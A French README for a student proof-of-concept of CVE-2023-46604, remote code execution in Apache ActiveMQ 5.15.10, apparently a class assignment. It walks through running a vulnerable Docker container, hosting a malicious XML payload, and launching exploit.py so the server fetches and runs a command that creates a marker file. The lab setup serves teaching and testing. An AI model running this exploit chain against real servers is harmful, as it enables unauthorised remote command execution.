CVE-2023-46604 : Preuve de concept RCE Apache ActiveMQ

Travail : Devoir SSP 3 Équipe : RCE You Later Membres : Banica Horia Alexandru, Comarlau Vlad-Constantin

Lien vidéo d’utilisation du dépôt pour réaliser la PoC : https://www.youtube.com/watch?v=vum4qTF4ygU

🚨 Aperçu

Ce dépôt contient une Preuve de Concept (PoC) entièrement fonctionnelle pour CVE-2023-46604. Cette vulnérabilité permet à un attaquant d’exécuter des commandes shell arbitraires sur un serveur Apache ActiveMQ vulnérable (version 5.15.10) en le forçant à désérialiser un fichier de configuration XML malveillant.

Objectif : Créer un fichier nommé pwned_by_ssp_team à l’intérieur du serveur victime pour prouver que nous en avons le contrôle.

🛠️ Prérequis

Avant d’exécuter l’exploit, assurez-vous d’avoir :

1. Docker & Docker Compose (installé et en cours d’exécution)
2. Python 3

📂 Structure du dépôt

• vulnerable-env/ : Contient la configuration Docker pour le serveur victime.
• attacker/ : Contient les scripts d’exploit et les charges utiles malveillantes.
  • exploit.py : Le script Python qui envoie le paquet malveillant.
  • serve.py : Un serveur HTTP simple pour héberger la charge utile XML.
  • poc.xml : Le fichier de configuration malveillant contenant la commande touch /tmp/pwned_by_ssp_team.

🚀 Guide d’utilisation pas à pas

Étape 1 : Lancer la victime (ActiveMQ)

Nous allons exécuter une ancienne version vulnérable d’ActiveMQ avec Docker.

1. Ouvrez un terminal.
2. Accédez au dossier vulnerable-env :
   root@kitploit:~

   cd vulnerable-env
   

3. Lancez le conteneur :
   root@kitploit:~

   docker-compose up -d
   

4. Attendez 30 secondes que le serveur démarre complètement.

Étape 2 : Héberger le XML malveillant

Le serveur victime doit télécharger des instructions depuis notre machine. Nous allons mettre en place un petit serveur web pour héberger ces instructions.

1. Ouvrez un deuxième terminal.
2. Accédez au dossier attacker :
   root@kitploit:~

   cd attacker
   

3. Lancez le serveur web Python :
   root@kitploit:~

   python3 serve.py
   

   Laissez ce terminal ouvert ! Vous devriez voir « Serving HTTP on 0.0.0.0 port 8000... »

Étape 3 : Lancer l’exploit

Nous envoyons maintenant le paquet réseau spécifique qui déclenche la vulnérabilité.

1. Ouvrez un troisième terminal.

2. Accédez au dossier attacker :

   root@kitploit:~

   cd attacker
   

3. Exécutez le script d’exploit.

   • Remarque : Si vous êtes sur macOS ou Windows, utilisez la commande ci-dessous exactement comme écrite.
   root@kitploit:~

   python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
   

   • Utilisateurs Linux : Si vous êtes sur Linux, remplacez host.docker.internal par la passerelle du pont réseau, généralement : 172.17.0.1. Essayez d’obtenir l’adresse comme suit si celle prescrite ne fonctionne pas : docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

Étape 4 : Vérifier l’attaque

Cela a-t-il fonctionné ? Vérifions si le fichier a été créé à l’intérieur du conteneur.

1. Revenez à votre premier terminal (ou n’importe quel terminal).
2. Exécutez cette commande pour vérifier le dossier /tmp à l’intérieur de la victime :
   root@kitploit:~

   docker exec activemq-victim ls -l /tmp
   

3. Succès : Vous devriez voir un fichier nommé pwned_by_ssp_team.

🧹 Nettoyage

Pour arrêter et supprimer le conteneur vulnérable :

cd vulnerable-env
docker-compose down